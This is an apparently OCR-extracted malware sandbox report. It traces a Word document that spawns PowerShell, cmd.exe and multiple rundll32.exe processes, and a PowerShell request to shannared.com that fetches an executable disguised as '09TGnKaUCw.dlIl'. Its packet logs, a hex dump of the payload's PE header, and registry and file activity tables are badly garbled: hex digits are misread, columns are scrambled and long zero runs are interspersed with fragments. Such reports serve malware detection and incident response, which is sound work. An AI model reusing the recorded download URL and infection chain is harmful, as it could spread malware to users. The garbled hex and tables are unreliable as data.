Jan 27, 2021 09:30:36.815722942 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815737963 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.815773964 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815823078 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815840960 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.815869093 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815946102 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:37.002271891 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.002356052 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.002454042 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:37.002504110 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.002567053 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.002626896 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.002672911 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.002753019 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:37.002835989 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.002971888 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.003051996 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.003091097 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.003109932 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:37.003144979 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.003161907 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:37.003190041 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.003237963 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.003262043 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:37.003289938 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.003334999 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.003357887 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:37.003371954 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.003412962 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.003433943 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:37.003452063 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.003488064 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.003520966 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.003520966 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:37.003577948 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:37.030143023 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.030201912 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.030241013 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.030313015 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.030350924 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.030368090 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:37.030409098 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:37.030412912 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.030492067 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:37.030515909 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.030563116 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.030577898 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.030603886 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:37.030641079 CET 49167 80 192.168.2.22 192.169.223.13
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Timestamp Source Port Dest Port
Jan 27, 2021 09:30:37.030656099 CET 80 49167
Jan 27, 2021 09:30:37.030690908 CET 49167 80

Jan 27, 2021 09:30:37.030699015 CET 80 49167
UDP Packets

Timestamp Source Port Dest Port
Jan 27, 2021 09:30:35.644503117 CET 52197 53

Jan 27, 2021 09:30:35.703138113 CET 53 52197
DNS Queries

Timestamp Source IP Dest IP Trans ID
Jan 27, 2021 09:30:35.644503117 CET 192.168.2.22 8.8.8.8 0xd372
DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name
Jan 27, 2021 8.8.8.8 192.168.2.22 0xd372 No error (0) shannared.com
09:30:35.703138113

CET

HTTP Request Dependency Graph

e shannared.com

HTTP Packets

Session ID Source IP

0 192.168.2.22
kBytes

Timestamp transferred

Jan 27, 2021 0

09:30:35.902981997 CET

Copyright null 2021

Source Port

49167

Direction

ouT

Destination IP

192.169.223.13 80

Data

GET /content/lhALeS/ HTTP/1.1
Host: shannared.com
Connection: Keep-Alive

Destination Port Process

Source IP
192.169.223.13
192.168.2.22
192.169.223.13

Source IP
192.168.2.22
8.8.8.8

OP Code Name

Standard query  shannared.com

)

CName Address

192.169.223.13

Dest IP
192.168.2.22
192.169.223.13

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

192.168.2.22
Dest IP
8.8.8.8
192.168.2.22
Type Class
A (IP address) IN (0x0001)
Type Class
A (IP address) IN (0x0001)
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kBytes

Timestamp transferred Direction Data
Jan 27, 2021 1 IN HTTP/1.1 200 OK
09:30:36.428189039 CET Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Expires: Wed, 27 Jan 2021 08:30:36 GMT

Content-Disposition: attachment; filename="09TGnKaUCw.dlIl"

Content-Transfer-Encoding: binary

Set-Cookie: 601124ac53678=1611736236; expires=Wed, 27-Jan-2021 08:31:36 GMT; Max-Age=60; path=/
Last-Modified: Wed, 27 Jan 2021 08:30:36 GMT

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

Content-Type: application/octet-stream

X-Cacheable: YES:Forced

Content-Length: 631808

Accept-Ranges: bytes

Date: Wed, 27 Jan 2021 08:30:36 GMT

Age: 0

Vary: User-Agent

X-Cache: uncached

X-Cache-Hit: MISS

X-Backend: all_requests

Data Raw: 4d 5a 50 00 02 00 00 00 04 00 Of 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 Oe 1f b4 09 cd 21 b8 01
4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e
3332 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 5e 42 2a 00 00
00 00 00 00 00 00 e0 00 8e al Ob 01 02 19 00 30 06 00 00 70 03 00 00 00 00 00 bc 3e 06 00 00 10 00 00 00 40 06 00 00
00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 09 00 00 04 00 00 00 00 00 00
02 00 01 00 00 00 00 00 00 00 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 06
00 ec 22 00 00 00 10 07 00 00 c6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 06 00 d4 6e 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
43 4f 44 45 00 00 00 00 e8 2e 06 00 00 10 00 00 00 30 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 6
044 41 54 41 00 00 00 00 cc 14 00 00 00 40 06 00 00 16 00 00 00 34 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
00 c0 42 53 53 00 00 00 00 00 d1 Oc 00 00 00 60 06 00 00 00 00 00 00 4a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 cO 2e 69 64 61 74 61 00 00 ec 22 00 00 00 70 06 00 00 24 00 00 00 4a 06 00 00 00 00 00 00 00 00 00 00 00 00 00
40 00 00 c0 2e 72 65 6¢ 6f 63 00 00 d4 6e 00 00 00 a0

Data Ascii: MZP@!L!This program must be run under Win32$7PEL"B*0p>@ @p"nCODE.O0 'DATA@4@BSS J.idata"p$
J@.relocn

Code Manipulations

Statistics

Behavior

@ WINWORD.EXE

® cmd.exe

@ msg.exe

@ powershell.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

Click to jump to process
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System Behavior

Analysis Process: WINWORD.EXE PID: 2408 Parent PID: 584

General

Start time: 09:30:35

Start date: 27/01/2021

Path: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
Wow64 process (32bit): false

Commandline: ‘C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding
Imagebase: 0x13f340000

File size: 1424032 bytes

MDS5 hash: 95C38D04597050285A18F66039EDB456

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\VBE read data or list device directory file | success or wait 1 7FEE91226B4 CreateDirectoryA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\~DFCCB98271A005759A.TMP success or wait 1 7FEE9049ACO unknown
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Key Created
Source
Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\VBA success or wait 1 7FEEQ05E72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0 success or wait 1 7FEEQ05E72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common success or wait 1 7FEEQ05E72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options success or wait 1 7FEE9049ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency success or wait 1 7FEE9049ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery success or wait 1 7FEE9049ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F78C8 success or wait 1 7FEE9049ACO unknown

Key Value Created
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Key Path

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F78C8

Copyright null 2021

Name

Cambria Math

Tahoma

F78C8

Type

binary

binary

binary

Data
02 04 05 03 05 04 06 03 02 04

02 0B 06 04 03 05 04 04 02 04

04 00 00 00 68 09 00 00 2A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
1B 56 91 3A D2 F4 D6 01 C8 78 OF
00 C8 78 OF 00 00 00 00 00 DB 04 00
00 02 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

1

1

7FEE9049ACO unknown

7FEE9049ACO unknown

7FEE9049ACO unknown
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Key Path

Key Value Modified

Key Path

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa
re\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F78C8

Copyright null 2021

Name

ProductFiles

ProductFiles

F78C8

Type

dword

dword

binary

Name

Type

00 00 00 00 00 00 00 00 00 00 00 00
B 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 FF FF FF FF

Old Data
1379598382

1379598383

04 00 00 00 68 09 00 00 2A 00
00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D
00 67 00 73 00 2E 00 68 00 74
00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00
1B 56 91 3A D2 F4 D6 01 C8
78 OF 00 C8 78 OF 00 00 00
00 00 DB 04 00 00 02 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

New Data
1379598383

1379598384

04 00 00 00 68 09 00 00 2A 00 success or wait

00 00 43 00 3A 00 5C 00 55

00 73 00 6500 72 00 73 00 5C
0041 00 6C 00 62 00 7500 73
00 5C 00 41 00 70 00 70 00

4400 61 00 74 00 61 00 5C 00
4C 00 6F 00 63 00 61 00 6C

00 5C 00 54 00 65 00 6D 00

70 00 5C 00 69 00 6D 00 67

00 73 00 2E 00 68 00 74 00

6D 00 04 00 00 00 69 00 6D

00 67 00 73 00 00 00 00 00 01
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 C8 78 OF 00

C8 78 OF 00 00 00 00 00 DB

04 00 00 02 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 FF FF

FF FF 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Completion

success or wait

success or wait

Count Address

Count Address

1

1

1

Source
Symbol

Source
Symbol

7FEE9049ACO unknown

7FEE9049ACO unknown

7FEE9049ACO unknown
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Key Path

Copyright null 2021

Name

Type

00 00 00 00 00 00 00 00 00 00
2AcPB QR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
RRACHRH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address

Symbol
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Key Path

Name

Type

00 00 00 00 00 00 00 00 00 00
20PD AR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 FF FF

00 00 00 00 00 00 00 00 00 00
f@R0DHH0 00 00 00 00 00 00
